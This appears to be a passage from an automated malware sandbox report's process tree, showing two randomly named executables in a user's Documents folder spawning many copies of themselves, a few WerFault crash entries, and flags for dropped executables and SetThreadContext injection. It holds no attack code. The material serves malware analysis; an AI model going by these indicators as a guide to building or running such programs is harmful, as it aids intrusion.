- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:7008
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:14736
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:13168
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:13592
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:15324
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:16216
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:16120
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:10696
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:4360
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:14120
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:12624
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:15084
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:16764
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17080
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17364
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:16284
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:16200
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:13732
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:15072
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:15148
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17768
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:18312
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17632
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17500
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17536
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:18636
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:18976
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:19352
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:18020
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:19236
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:19140
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17716
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:18424
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:13568
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:14100
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:19604
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:19860
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:20388
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:20340
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:6120
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:19884
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:20728
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:21112
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:21424
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:20672
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:21012
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17864
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:7956
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17912
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:13308
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:20620
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:16548
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:21808
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:22144
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:20624
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:22304
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 22304 -s 24
      4⤵
      PID:21352
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:11248
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:20004
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:23128
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:23416
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:22756
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:23272
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17732
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:19312
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:11164
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:14456
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:23648
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:23948
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:24428
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:23868
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:24396
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:22920
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:24624
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:25040
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:25544
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:24224
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:25140
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:24980
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:23756
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:1440
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17416
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:25416
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:20324
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:24308
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:1040
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:25460
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:26000
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:26316
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:26592
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:26040
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:23148
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:24716
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17324
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:26700
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:27008
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:27300
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:27588
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:26752
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 26752 -s 24
      4⤵
      PID:27092
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:26784
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:27400
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:23288
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:16852
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:25872
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:24344
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:23000
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:18220
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:23928
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:27956
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:28208
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:28584
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:27652
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:2352
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:18208
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:27988
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:18140
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:28920
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:29224
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:29468
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:28764
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:29296
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:25832
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:26380
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:27560
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:28948
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:26380
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:29840
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:30176
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:30708
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:6264
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:17876
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:30956
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:31340
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:22256
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:31672
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:30932
- - C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    C:\Users\Admin\Documents\FEcbL5YKR_On4Y6KfPABFera.exe
    3⤵
    PID:26584
- C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
  "C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4604
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:2316
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:5784
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:6272
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:7012
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:6576
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:6304
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:6852
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:4252
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:4712
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:4476
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:7200
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:7576
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:7936
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:7448
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:8180
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:4936
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:7648
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:5312
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:7996
- - C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    C:\Users\Admin\Documents\CXFot341dY7wUrbvVE8PI1Qk.exe
    3⤵
    PID:476
